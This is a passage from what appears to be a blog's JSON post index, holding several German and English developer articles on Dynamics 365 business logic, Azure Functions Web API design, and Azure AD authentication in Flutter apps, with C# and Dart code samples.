zum Beispiel Geschäftsregeln, Power Automate Flows oder Logic Apps. Solche Low-Code-Lösungen sollten grundsätzlich der Programmierung vorgezogen werden. Der Vorteil bei diesen liegt in der schnellen und unkomplizierten Erstellung der Anwendungen – gerade auch für Nicht-Programmierer. Gegenüber selbstgeschriebenem Code unterliegen Low-Code-Lösungen außerdem einem verminderten Wartungs- und Bereitstellungsaufwand. Die Implementierungsdetails sind in den Komponenten verborgen und Updates, Bugfixing oder Erweiterungen werden von den jeweiligen Anbietern übernommen.\nAber aufgepasst: Handelt es sich bei eurem Anwendungsfall um komplizierte, algorithmische und tief verschachtelte Geschäftslogik, kann ein Low-Code-Ansatz erfahrungsgemäß schnell unübersichtlich bis unmöglich werden. Die Erstellung und spätere Anpassungen kosten dann eine Unmenge an Zeit. In solchen Fällen ist ein Entwickler gefragt, der die Geschäftslogik effizient und flexibel in Programmcode abbilden kann – zum Beispiel in Form eines Plugins oder einer Azure Function.\nIntegrationslösungen Begleitend zum reinen Customizing auf der Dynamics-365-Plattform müssen oft Integrationslösungen angefertigt werden. Meist sollen dazu zeitgesteuert oder ereignisorientiert bestimmte Aktionen ausgeführt werden. Dabei kann es sich um das einfache Versenden von Benachrichtigungen, aber auch einer Datensynchronisation aus Fremdsystemen handeln. Je nach konkretem Anwendungsfall bieten sich hier Power Automate Flows, Logic Apps oder Azure Functions an.\nGerade Power Automate Flows, als moderner Ersatz für die konventionellen Workflows, decken hier ein breites Spektrum ab. Sie lassen sich einfach entwickeln und bereitstellen. Deren Einsatz sollte daher immer zuerst evaluiert werden.\nWie das Salz in der Suppe … Nein, JavaScript ist nicht böse. Und ja, es sollte trotzdem so spärlich wie möglich im Customizing von Dynamics-365-Umgebungen eingesetzt werden. Es unterliegt der bereits oben angesprochenen Problematik aller programmierten Lösungen, dass der Code eigenhändig entwickelt und gewartet werden muss. Was bei JavaScript erschwerend hinzu kommt, ist der instabile Kontext. Unterschiedliche Browser, Endgeräte und ECMAScript-Versionen sowie die dynamisch-typisierte Natur der Sprache erhöhen die Wahrscheinlichkeit von Laufzeitfehlern, deren Auswirkungen dem Endanwender oft direkt ersichtlich sind. Dass die Wartung und Migration einer großen JavaScript Code-Basis sich als aufwändig erweisen kann, haben wir spätestens bei der Umstellung auf das Unified Interface mit der neuen Client-API feststellen müssen.\nAllerdings gibt es auch Anwendungsfälle, bei denen der Einsatz von JavaScript nicht nur gerechtfertigt ist, sondern auch kein Weg daran vorbeiführt. Hier sollte dann frei von Vorurteilen einfach gewissenhaft entwickelt werden. Einen solchen Fall werde euch in einem meiner kommenden Artikel noch präsentieren.\nEin Schlusswort Ich habe heute einige Kriterien aufgezählt, die bei der Entscheidungsfindung zur Wahl des richtigen Werkzeuges für die Erbringung von Geschäftslogik in Dynamics 365 beachtet werden sollten. In der Praxis spielen allerdings noch viele weitere Faktoren eine Rolle, die von Fall zu Fall evaluiert werden müssen. Die Entscheidungsmatrix kann und soll dabei kein Schema F abbilden, sondern vielmehr als Wegweiser dienen.\nWie seht ihr das?\nHabt ihr auch Faustregeln für euch entwickelt oder habt schon mal eine Entwurfsentscheidung im Nachhinein bereut? Ich würde mich freuen, wenn ihr eure Erfahrungen mit mir auf Twitter teilt!\n","date":"10. März 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/gesch%C3%A4ftslogik-in-d365-eine-entscheidungshilfe_hu43a9affe79ae73d95324fa9f14dcca6b_6370_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/gesch%C3%A4ftslogik-in-d365-eine-entscheidungshilfe_hu43a9affe79ae73d95324fa9f14dcca6b_6370_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/gesch%C3%A4ftslogik-in-dynamics-365-eine-entscheidungshilfe/","tags":["dynamics-365","automation"],"title":"Geschäftslogik in Dynamics 365 - eine Entscheidungshilfe"},{"categories":["How to","Serien"],"contents":"Die Entwicklung und Bereitstellung von Web APIs mit Azure Functions bringt in größeren Projekten Herausforderungen mit sich. Dabei helfen eine entsprechende Projektstruktur und programmatische Erweiterungen wie auch Hilfsfunktionen dabei, effizient Web APIs mit Azure Functions zu entwickeln.\nIn den folgenden Wochen werde ich ein Best-Practice bereitstellen, welche sich auf die folgenden Beiträge aufteilt:\nWeb APIs mit Azure Functions: Projektstruktur (Teil 1) Web APIs mit Azure Functions: Requesthandling (Teil 2) Web APIs mit Azure Functions: Responsehandling (Teil 3) Web APIs mit Azure Functions: Swagger UI (Teil 4) Web APIs mit Azure Functions: Release Management (Teil 5) Überblick Im ersten Teil werden einige bekannte Pattern vorgestellt, die insbesondere auf die Projektstruktur eines Web-API-Projekts mit Azure Functions angewandt werden kann. Hierbei kommen insbesondere das Clean Architecture Project Solution Pattern (Clean Architecture) wie auch das Command-Query-Responsibility-Segregation-Pattern (CQRS) zum Einsatz.\nClean Architecture Project Solution Pattern Das Clean Architecture Project Solution Pattern (Clean Architecture) sieht für die Organisation der Solution mehrere Projekte vor, welche unterschiedliche Aufgaben übernehmen:\nDomain Infrastructure Application Function Der Hauptvorteil hiervon ist die Abgrenzung der jeweiligen Zuständigkeiten. Im Zentrum steht das Domain-Projekt, auf welches die jeweiligen Entitäten einer Anwendung darstellt.\nDomain Das Domain-Projekt stellen die Domänen-Modelle der Geschäftsanwendung der Solution bereit. In den Entitätsklassen können nicht nur die Daten gehalten werden, es können auch unternehmensweite Regeln (Business Logik) darin definiert werden, welche von allen Projekten gleichermaßen verwendet werden kann.\nIm Zuge dieses Beitrags werden die Domain-Klassen lediglich zur Datenhaltung der entsprechenden Entitäten verwendet.\nInfrastructure Das Infrastructure-Projekt implementiert entsprechende Service-Aufrufe auf außenliegende Dienste und Datenquellen her und stellt somit Funktionen für die spätere Entwicklung der Web APIs bereit. So werden Zugriffe auf die entsprechenden Ressourcen orchestriert, z.B. Funktionen um Datensätze in einem Azure Table Storage zu speichern oder abzurufen.\nApplication Das Application-Projekt bildet die Schnittstelle zwischen dem Application.Function-Projekt und den Domain- und Infrastructure-Projekten. In diesem Projekt werden sogenannte Command- und Query-Modelle, welche einen entsprechenden Request an die Web API repräsentieren, bereitgestellt. Auf diese Modelle und das dahinterliegende CQRS-Pattern wird im weiteren Verlauf noch genauer eingegangen.\nVom Application-Projekt werden verweise auf das Domain-Projekt und das Infrastructure-Projekt gesetzt, um die jeweiligen Entitäten (Domain) und Services (Infrastructure) zu verwenden.\nAußerdem kann in diesem Projekt bereits die Dependency Injection umgesetzt werden. Hierdurch können die notwendigen Services aus dem Infrastructure-Projekt oder andere Abhängigkeiten wie z.B. FluentValidation in der späteren Entwicklung von Azure Functions verwendet werden, indem die entsprechenden Services dann über den Konstruktor injiziert werden.\nApplication.Function Im Application.Function-Projekt werden die eigentlichen Azure Functions erstellt und die Web APIs hierüber bereitgestellt. Die Function greift auf alle notwendigen Services und Domain-Klassen zu, um die entsprechende Business Logik abzubilden.\nCommand-Query-Responsibility-Segregation-Pattern (CQRS) Das CQRS-Pattern löst das Problem, dass z.B. Abfragen oder die Anlage in einer Datenbank das gleiche Datenmodell verwendet. Dabei unterscheiden sich beide Arten des Zugriffs grundlegend voneinander. So kann eine Abfrage den Wert einer ID bereits beinhalten, wohingegen eine Anlage einer Entität den Wert der ID noch nicht kenne, da dies beispielsweise von der Datenbank erst zum Zeitpunkt des Speicherns erzeugt wird. Genau hier greift das CQRS-Pattern.\nDas bedeutet die Business Logik zwischen Commands und Queries wird getrennt. Auf HTTP Web APIs angewandt können diese folgendermaßen dargestellt werden:\nQueries: GET-Methoden Commands: POST-/ PUT-/ DELETE-Methoden Durch die Verwendung von Command und Query Objekten besteht eine lose Kopplung zwischen der jeweiligen Anforderung an die Ziel-Entität und die Ziel-Entität selbst.\nWeitere Vorteile:\nÜbersichtliche Ziel-Entität mit einer Liste an Commands und Queries Isolierung jedes Commands innerhalb einer Ziel-Entität Einfache Definition der einzelnen Commands und Queries Einfache Erweiterbarkeit weiterer Commands und Queries Auf Web APIs mit Azure Functions angewandt, repräsentieren die Commands und Queries die entsprechenden HTTP-Requests.\nBeispielhafte Implementierung Die beiden vorgestellten Pattern werden anhand eines Beispiels anschaulich dargestellt. Hierbei liegt der Fokus primär auf dem CQRS-Pattern. Damit wird die Konvertierung eines Requests in ein Command-/Query-Objekt betrachtet.\nDie Betrachtung von Services, welche im Infrastructure-Projekt definiert werden können, ist nicht Teil des Beispiels.\nDie Entitäten werden im Domain-Projekt, die Commands-/Query-Objekte im Application-Projekt und die Azure Functions im Application.Functions-Projekt angelegt.\nDie verwendete Entität der beispielhaften Implementierung orientieren sich am Petstore von Swagger.\nDomain Die Domain-Klasse Pet beschreibt die Tier-Entität, welche einige Attribute, wie den Namen oder die Verfügbarkeit beinhaltet.\nnamespace Domain { public class Pet { public int Id { get; set; } public string Name { get; set; } public Species Species { get; set; } public Availability Status { get; set; } } public enum Species { Dog, Cat, Bird } public enum Availability { Available, Pending, Sold } } Application Für den Zugriff auf die Pet-Entität stehen vier Funktionen zur Verfügung:\nSuche nach einem Pet mit der ID (GET: FindPetByIdQuery) Auflistung aller Pets (GET: GetPetQuery) Speichern eines Pets (POST: StorePetCommand) Aktualisierung eines Pets (POST: UpdatePetCommand) using Domain; namespace Application.Pet { public class GetPetQuery { public Species Species { get; set; } } } Die Query-Klasse GetPetQuery enthält lediglich das Attribut Species, welches für die Suche nach Pet-Entitäten mittels Tierart verwendet wird. Die Species wird über Query-Parameter im Request angegeben.\nApplication.Function Die Implementierung der Azure Function beinhaltet die Zuordnung der Query-Parameter zum entsprechenden Attribut Species von GetPetQuery.\nusing System; using System.Threading.Tasks; using Application.Pet; using Domain; using Microsoft.AspNetCore.Mvc; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; using Microsoft.AspNetCore.Http; using Microsoft.Extensions.Logging; namespace Application.Function { public static class GetPetQueryFunction { [FunctionName(\u0026#34;GetPetQueryFunction\u0026#34;)] public static async Task\u0026lt;IActionResult\u0026gt; Run( [HttpTrigger(AuthorizationLevel.Function, \u0026#34;get\u0026#34;, Route = \u0026#34;pet\u0026#34;)] HttpRequest req, ILogger log) { log.LogInformation(\u0026#34;C# HTTP trigger function processed a request.\u0026#34;); var query = new GetPetQuery(); query.Species = (Species) Enum.Parse(typeof(Species), req.Query[\u0026#34;Species\u0026#34;]); // Call-Search-Service return new EmptyResult(); } } } Das Beispiel zeigt ganz gut die Grundsätzliche Funktionswiese des CQRS-Patterns und die damit verbundene Trennung von Zuständigkeiten. So wird das Command-/ Query-Objekt als Transferobjekt verwendet, um die jeweilige Anforderung in Richtung der Ziel-Entität umzusetzen.\nAllerdings müssen Zuordnungen, wie die des Query-Parameters manuell erfolgen. Somit müssen notwendige Konvertierungen des Requests in jeder Azure Function durchgeführt werden. Hierzu gehört neben der Zuordnung von Query- und Header-Parametern, auch das mappen der Attribute, welche über den Request-Body angegeben werden (bei einem POST-/ PUT-Request).\nZusammenfassung Die Verwendung des Clean Architecture Pattern stellt eine gute Struktur des Projektes dar und stellt die jeweilige Zuständigkeit des Projektes dar. Die Verwendung des CQRS-Patterns stellt eine Trennung der Requests von der Ziel-Entität sicher und bietet die Möglichkeit neue Zugriffe (neue Web APIs) hierüber zu orchestrieren.\nAllerdings hat die beispielhafte Implementierung gezeigt, dass die Umwandlung der Requests in die jeweiligen Command- und Query-Objekte in der Azure Function einen wiederkehrenden Aufwand bedeutet und in jeder Azure Function individuell angewandt werden muss. Um die Entwicklung effizient zu gestalten wird eine Erweiterung benötigt, die den Request entsprechend in das jeweilige Query-/ Command-Objekt konvertiert. Im nächsten Teil wird dieser Umstand aufgegriffen und eine Lösung für dieses Problem bereitgestellt.\n","date":"10. März 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/web-apis-mit-azure-functions-projektstruktur-teil-1_hua7dc9d4b46f5827fadd53fcd54bbd7a5_6909_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/web-apis-mit-azure-functions-projektstruktur-teil-1_hua7dc9d4b46f5827fadd53fcd54bbd7a5_6909_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/web-apis-mit-azure-functions-projektstruktur-teil-1/","tags":["azure","backend","low-code"],"title":"Web APIs mit Azure Functions: Projektstruktur (Teil 1)"},{"categories":["How to"],"contents":"Nicht zuletzt durch das Memo, welches Jeff Bezos 2002 an seine Mitarbeiter*innen via E-Mail versandt hatte, haben Web APIs über HTTP an Bedeutung gewonnen. Die Verwendung einer Service-orientierten Architektur (SOA) für bereitgestellte Systeme und Dienste ist mittlerweile unabdingbar. Durch die Cloud und die dadurch geschaffenen, technologischen Möglichkeiten ergeben sich auch neue Wege, um Schnittstellen und APIs bereitzustellen. Microsoft bietet für die Bereitstellung von Web APIs im Wesentlichen zwei Optionen an: ASP.NET Core und Azure Functions. In diesem Beitrag möchte ich auf die jeweiligen Eigenschaften beider Lösungen eingehen und einige Key-Features von Azure Functions hervorheben.\nEntwicklung Zur Entwicklung von Web APIs mit ASP.NET Core werden die von .NET Core unterstützen Sprachen unterstützt (u.a. C#).\nAzure Functions unterstützen seit der Functions-Runtime-Version 2.x neben den Sprachen C#, JavaScript und F# nun auch Java, PowerShell, Python und Typescript. Somit richten sich Azure Functions an einen erweiterten Kreis von Entwicklern.\nBereitstellung Die Bereitstellung von klassischen Web APIs (ASP.NET Core) kann u.a. in Azure innerhalb eines App-Service Plans-erfolgen. Aktuell existiert keine Möglichkeit die Web API über einen Consumption-Plan bereitzustellen. Somit können vergleichsweise hohe Kosten entstehen, insbesondere wenn die Web API kaum bis gar nicht verwendet wird (idle).\nIm Gegensatz hierzu können Web APIs, welche als Azure Functions entwickelt wurden, u.a. in einem Consumption-Plan bereitgestellt werden. Hierbei wird unter anderem auf Basis der Anzahl der Aufrufe abgerechnet, wobei 1.000.000 Ausführungen pro Subscription im Monat inklusive sind.\nEntwicklungsmodelle Mit ASP.NET Core Web APIs können RESTful-Dienste erstellt werden. Hierbei werden Controller verwendet, um die Aufrufe zu verarbeiten (ähnlich dem MVC-Pattern). Dies bietet eine gute Basis, um eine Microservice-Architektur abzubilden. Außerdem können Middleware-typische Orchestrierungsfunktionen wie Pipelines bereitgestellt werden.\nAzure Functions stellen leichtgewichtige (kleinere) Funktionen dar, welche ebenfalls RESTful-Dienste bereitstellen können und eine Event-getriebene Architektur abbilden. Hierbei ist der Entwickler für die entsprechende Orchestrierung des Funktionsaufrufes zuständig. Somit sind die jeweiligen Anwendungsteile nicht so eng miteinander verbunden, wie es bei Microservices mit Web APIs mit ASP.NET Core der Fall ist. Der Vorteil hierbei ist, dass einzelne Funktionsbausteine einfacher ausgetauscht werden können. Diese lose Kopplung bringt mit sich: Zusammenhänge können hierdurch schwieriger erkannt werden, insbesondere bei komplexeren Anwendungen. Die Fehlersuche eröffnet sich hierdurch ebenfalls schwierig.\nUm komplexere Aufrufe in Azure Functions zu orchestrieren, bietet Microsoft mit der Durable-Functions-Erweiterung die Möglichkeit, zustandsbehaftete Funktionen zu schreiben, um z.B. asynchrone HTTP-API-Aufrufe zu orchestrieren.\nInitiale Antwortzeiten der API-Aufrufe Durch die Bereitstellung in Azure innerhalb eines App-Service-Plans werden initiale Funktionsaufrufe auf eine .NET Core Web API in adäquater Zeit beantwortet. Initiale Aufrufe auf eine Azure Functions API (im Consumption-Plan) können dahingegen unter Umständen deutlich länger dauern, da der Function Host bei Nichtverwendung in eine Art Ruhemodus wechselt, um Ressourcen zu sparen. Das bedeutet, der Initiale Aufruf „weckt“ die Funktion auf. Dieser sogenannte Cold-Start kann bis zu 15-20 Sekunden dauern. Wenn dann in geringem Zeitabstand weitere Aufrufe auf die Function stattfinden, antworten diese wieder in adäquater Zeit.\nZusammenfassung und Fazit Die Entwicklung von Web APIs mit Azure Functions bietet eine einfache Möglichkeit, rasch APIs bereitzustellen. Die leichtgewichtige Bereitstellung in einer serverlosen Umgebung in Azure bietet einen einfachen Einstieg. Entwickler haben eine breitere Auswahl, in welcher Sprache sie ihre API entwickeln möchten. Bei seltenen Aufrufen sind die Azure Functions weniger kostenintensiv und skalieren je Function Host individuell. Bei einer Web API mit ASP geschieht die Skalierung über alle APIs hinweg gleich. Bei der Entwicklung komplexerer Azure Functions ist der Entwickler für die Orchestrierung und die korrekte Ausführung zuständig. Mit Durable Functions werden sie hierbei unterstützt, zustandsbehaftete Funktionen zu entwickeln.\nDie Key-Features von Azure Functions:\nUnterstützung von mehreren Programmiersprachen (auch außerhalb .NET) Serverlose Anwendung Niedrige Kosten Leichtgewichtige Entwicklung Ausblick Die Erstellung von Web APIs mit Azure Functions erfordern die Bereitstellung von Standardfunktionalität, um Anfragen an die Schnittstelle, wie auch Antworten derselben zu orchestrieren. Hierfür werde ich in den nächsten Wochen in einer mehrteiligen Serie eine Best-Practice-Empfehlung geben, wie APIs mit Azure Functions effizient entwickelt und bereitgestellt werden können. Mithilfe einer Schritt-für-Schritt-Anleitung wird in den einzelnen Teilen über die Organisation der Projektstruktur, über die Verwendung einer Erweiterung zur einfachen Verarbeitung von Requests und Erstellung von Responses, bis hin zur Bereitstellung in ein API-Management diese Best-Practice beschrieben.\n","date":"3. März 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/asp-net-core-web-api_huc669a9041a70f79e11c59311f3eb4e73_8317_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/asp-net-core-web-api_huc669a9041a70f79e11c59311f3eb4e73_8317_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/asp.net-core-web-api-vs.-apis-mit-azure-functions/","tags":[".net"],"title":"ASP.NET Core Web API vs. APIs mit Azure Functions"},{"categories":["How to","Quick-Tipps"],"contents":"As a former Xamarin developer, I am used to work with AzureAD and the infamous Microsoft Authentication library (MSAL) as the authentication backbone for my apps. However, when me and my team switched to Flutter two years ago and started migrating apps for our customers, we faced several problems getting AzureAD to work together with Flutter apps in a smooth way.\nPreface So, here I want to share with you some of the major issues using AzureAD/MSAL in conjunction with Flutter and how we solved them. Since we use Remi Rousselet’s outstanding riverpod for state management, most of the code samples are based on riverpod, but all of this should be easily transferable to any other state management solution.\nAlso, I heavily recommend using gbwisx’ port of MSAL, which you can find here. It is very well documented and works smoothly together with both the system browser and Microsoft’s Authenticator app on iOS and Android. This article assumes that you have already set up MSAL following the plugin’s documentation on GitHub.\nWhat this blog post is not about This is neither a deep dive into the inner workings of AzureAD or MSAL, nor a riverpod tutorial. There are many well-curated resources out there that help you getting started, e.g.\nAzure AD official documentation Riverpod’s stunning documentation — great to read What we are going to build We want to tell a user to sign in whenever needed — and handle any changes to the authentication state in the UI. In this example, we will build something like this:\nAs long as no user is signed in, there is a bottom sheet indicating that a sign in is needed. No request is performed as long as nobody is signed in.\nOnce the user signs in, the authentication process begins (here, I did not have Microsoft’s Authenticator app installed, so the authentication was handled in a browser window by MSAL).\nAfter authentication, the current user is shown and the bottom sheet is gone. Requests will automatically be authenticated from now on.\nSet up a service handling the authentication logic First of all, we need to enable our app to sign in and sign out users. This is quite straightforward. The _AuthenticationService below handles the authentication logic (signing in, signing out, getting a token, handling the Microsoft Authenticator logic, etc.) and there is merely any difference to the samples provided in msal_mobile’s documentation.\nAs the authentication logic used by msal_mobile lacks a bit of flexibility, we decided to go with a litte initialization hack that keeps track of the initialization state of the MSAL instance. When initializing, msal_mobile reads a configuration file that contains information about the app’s signature, the AzureAD instance to authenticate against and the integration of Microsoft’s Authenticator app.\nSo, we simply follow the basic principles when using MSAL here. Finally, we provide the service as a trackable dependency using riverpod.\nfinal _authenticationServiceProvider = Provider((ref) =\u0026gt; _AuthenticationService()); class _AuthenticationService { static const String _SCOPE = \u0026#39;https://example.com/user_impersonation\u0026#39;; // Adjust to your AzureAD specs static const String _AUTHORITY = \u0026#39;https://login.microsoftonline.com/aaaaaaa-bbbbbb-cccccc-ddddd\u0026#39;; // Adjust to your AzureAD specs bool _isInitialized = false; MsalMobile _msal; Future\u0026lt;MsalMobileAuthenticationResultPayload\u0026gt; signIn() async { await _initializeIfNeeded(); if (!await _msal.getSignedIn()) { // If user is NOT signed in, do a full sign-in return await _signIn(); } else { return await _acquireToken().then((result) { return result; }).catchError((error) { // Handle errors }); } } Future\u0026lt;void\u0026gt; signOut() async { await _initializeIfNeeded(); if (await getIsSignedIn()) { await _msal.signOut(); } } Future\u0026lt;bool\u0026gt; getIsSignedIn() async { await _initializeIfNeeded(); return await _msal.getSignedIn(); } Future\u0026lt;MsalMobileAuthenticationResultPayload\u0026gt; _signIn() async { await _initializeIfNeeded(); return await _msal.signIn(null, [_SCOPE]); } Future\u0026lt;MsalMobileAuthenticationResultPayload\u0026gt; _acquireToken() async { await _initializeIfNeeded(); return await _msal.acquireToken([_SCOPE], _AUTHORITY); } Future\u0026lt;void\u0026gt; _initializeIfNeeded() async { if (_isInitialized) { return; } if (_msal == null) { _msal = await MsalMobile.create(\u0026#39;assets/auth_config.json\u0026#39;, _AUTHORITY); _isInitialized = true; } } } Notify listeners about the authentication state So our authentication service can now handle the lower-level authentication logic — great! But, still the UI does not get notified about any changes at all.\nWhat if the user signs out? What is the current state? Is a user currently signed in? Can we make a request without running into 401 codes? Should the app show a banner indicating that the user needs to sign in? We need to keep track of the authentication state, which is exactly what riverpod is made for. Below, we provide a AuthenticationNorifier to our app that encapsulates the logic handled in our _AuthenticationService. Whenever the authentication state changes, each listener is being notified and can react accordingly. For the sake of simplicity, in this sample we only use a boolean flag indicating whether any user is signed in or nor. One could easily expand the states, e.g. by indicating that there is a user currently signed in (in MSAL this means that there is a last-known UserAccount), but there is no valid token available.\nfinal authenticationProvider = ChangeNotifierProvider\u0026lt;AuthenticationNotifier\u0026gt;((ref) { final authenticationService = ref.read(_authenticationServiceProvider); return AuthenticationNotifier(authenticationService); }); class AuthenticationNotifier extends ChangeNotifier { final _AuthenticationService _auth; AuthenticationNotifier(this._auth) { calculateSignInStatus(); } bool _isSignedIn = true; bool get isSignedIn =\u0026gt; _isSignedIn; void _setSignIn(bool newIsSignedIn) { if (_isSignedIn == newIsSignedIn) { return; } _isSignedIn = newIsSignedIn; notifyListeners(); } Future\u0026lt;void\u0026gt; calculateSignInStatus() async { var isSignedIn = await _auth.getIsSignedIn(); _setSignIn(isSignedIn); } Future\u0026lt;MsalMobileAuthenticationResultPayload\u0026gt; signIn() async { var result = await _auth.signIn(); if (result != null) { _setSignIn(true); return result; } return null; } Future\u0026lt;void\u0026gt; signOut() async { await _auth.signOut(); _setSignIn(false); } } Authenticating requests This one had us badly scratching our heads at first. If we actually perform a request, how can we make sure that the request is authenticated correctly? Before we came across interceptors in Dio, we had pretty bad-shaped singleton implementation of our request handler, calling into our _AuthenticationService directly before a request was performed.\nEven though the solution below looks quite easy, we needed some time to get to this, as we did non use provider references (ref) in the beginning.\nfinal dioProvider = Provider.autoDispose\u0026lt;Dio\u0026gt;((ref) { final auth = ref.watch(authenticationProvider); final dio = Dio(); dio.options.headers[\u0026#39;Content-Type\u0026#39;] = \u0026#39;application/json\u0026#39;; dio.options.baseUrl = my-base-url; dio.interceptors.clear(); dio.interceptors.add( InterceptorsWrapper( onRequest: (RequestOptions options) async { if (!await auth.isSignedIn) { return null; // Or handle otherwise } var res = await auth.signIn(); options.headers[\u0026#39;Authorization\u0026#39;] = \u0026#39;Bearer ${res.accessToken}\u0026#39;; return options; }, ), ); return dio; }); One great thing about riverpod’s reference mechanism is that it allows listening to every state change happening in our _AuthenticationService easily.\nThe interceptor now authenticates each and every request and makes sure that there is no request being left un-authenticated (which would finally lead to 401 errors). For the sake of simplicity, I skipped the interceptor that handles any 401 error properly in the gist.\nShowing the current authentication state ob the surface So, how can we tell the user that he needs to sign in? As our authentication stat is now porperly handled and published to subscribers, we only need to listen to changes in the UI. For this example, we make use of hooks_riverpod in order to use the provided authenticationProvider. The scaffold shown below is state-aware to any changes happening to the authentication state. Here, we simply show a bottom sheet telling the user to sign in if needed:\nclass StateAwareScaffold extends HookWidget { final Widget body; const StateAwareScaffold({Key key, @required this.body}) : super(key: key); @override Widget build(BuildContext context) { final authenticationState = useProvider(authenticationProvider); return Scaffold( body: body, bottomSheet: authenticationState.isSignedIn ? Container(width: 0, height: 0) : SignInBottomSheet(), ); } } Wrap up And that’s it! We managed to create a wrapper around msal_mobile that notifies the UI about any changes to the authentication state in the app. Furthermore, we created an interceptor for Dio to make sure that every request is authenticated properly. Finally, we notified the user about a missing sign in.\nPackages shown in this article msal_mobile: GitHub , dev riverpod: GitHub , docs , dev hooks_riverpod: dev Dio: GitHub , dev Reach out if you have questions If you have questions on how to manage authentication state with MSAL and riverpod, just head over to my GitHub profile where you can find links to my social media.\nHappy coding and thank you for coming around!\n","date":"3. März 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/azure-ad-authentication-flutter-apps_hu9b9950632c66f39a39309d5e466898ba_7953_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/azure-ad-authentication-flutter-apps_hu9b9950632c66f39a39309d5e466898ba_7953_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/getting-azure-ad-authentication-to-work-smoothly-in-flutter-apps/","tags":["frontend","azure"],"title":"Getting Azure AD authentication to work smoothly in Flutter apps"},{"categories":["How To","Serien"],"contents":"Im November 2020 veröffentlichte Microsoft die Plattformimplementierung .NET 5. Diese baut auf .NET Core 3.1 auf und bietet somit viele Vorteile wie zum Beispiel Performanceoptimierungen, oder auch Cross-Plattform-Unterstützung. Das Überspringen der Versionsnummer 4 erfolgte aufgrund der Verwechselbarkeit mit .NET Framework 4. Zusätzlich entfiel der Namensanteil “Core”. Dies begründet Microsoft darin, dass .NET 5 eine Vereinheitlich der Plattformimplementierungen .NET Framework, .NET Standard und Mono darstellt, und deren Weiterentwicklung gestoppt wurde.\nFür Systeme, die unter einer der veralteten Plattformimplementierungen betrieben werden, sollten bereits heute eine Migration in Richtung .NET 5 in Betracht gezogen werden. Besonders zu beachten sind hierbei die von Microsoft angegebenen Zeiten für den jeweiligen Long-Term-Support. Wie in der nachfolgenden Grafik dargestellt ist, hat .NET Core 3.1 bereits heute einen längeren Long-Term-Support als das neue .NET 5. Es kann somit mehr Sinn machen, vorerst eine Migration auf .NET Core 3.1 durchzuführen und im Februar 2022, mit dem geplanten Release von .NET 6, ein Upgrade durchzuführen.\nVersion Original Release Date Latest Patch Version Patch Release Date Support Level End of Support .NET 5 November 10, 2020 5.0.3 February 09, 2021 Current 3 months after .NET 6 release (around Feb. 2022) .NET Core 3.1 December 3, 2019 3.1.12 February 09, 2021 LTS December 3, 2022 .NET Core 2.1 May 30, 2018 2.1.25 February 09, 2021 LTS August 21, 2021 Abbildung 1: Microsoft Long Term Support\nIm Nachfolgenden werden die wichtigsten zu klärenden Aspekten aufgezeigt, die für eine Migration berücksichtigt werden müssen. Dazu werden die folgenden Prozessschritte betrachtet:\nAbbildung 2: Prozessschritte Migrationskonzeption\nKernfragen klären Bereits zu Beginn der Konzeption sollte festgehalten werden, welche Gründe für die Migration identifiziert wurden und welche Ziele erreicht werden sollen. So könnten Hintergründe einer Migration beispielsweise Performance- oder Kompatibilitätsprobleme sein. Diese Probleme könnten etwa durch das Ausnutzen von Performanceoptimierungen oder durch die Nutzung von Cross-Plattform-Funktionalitäten gelöst werden.\nZudem sollten unbedingt die Rahmenbedingungen geklärt werden. Gibt es organisatorischen Vorgaben, wie etwa ein zeitlicher Rahmen oder die Gewährleistung des ununterbrochenen Tagesgeschäfts? Anhand dieser Informationen kann schon jetzt eine grobe Strategie abgeleitet werden. Sofern die Weiterentwicklung der Systeme pausiert und die komplette Migration in einem Zug durchgeführt werden soll, empfiehlt sich eine „Big Bang“-Migration. Oder soll der Geschäftsbetrieb sowie die kontinuierliche Weiterentwicklung der Systeme aufrechterhalten und andere Geschäftsbereich nicht beeinträchtigt werden? Dann sollte eine „Step by Step“-Migration angegangen werden und mit jedem Schritt ein abgeschlossener und vollfunktionsfähiger Zustand der Systeme gewährleisten werden.\nMigrationseinheiten identifizieren In den meisten Fällen werden keine Monolithen migriert, sondern ein Konglomerat mit zahlreichen Abhängigkeiten untereinander. Um einen Überblick zu bekommen, wie die Migration ablaufen soll und wie aufwändig sie sein wird, muss jede Einheit festgehalten werden, die eine Abhängigkeit zu den migrierenden Systemen hat. Auch wenn diese Einheiten selbst keine Migration erfordern, ist es gut zu wissen, dass Abhängigkeiten bestehen und dadurch neue 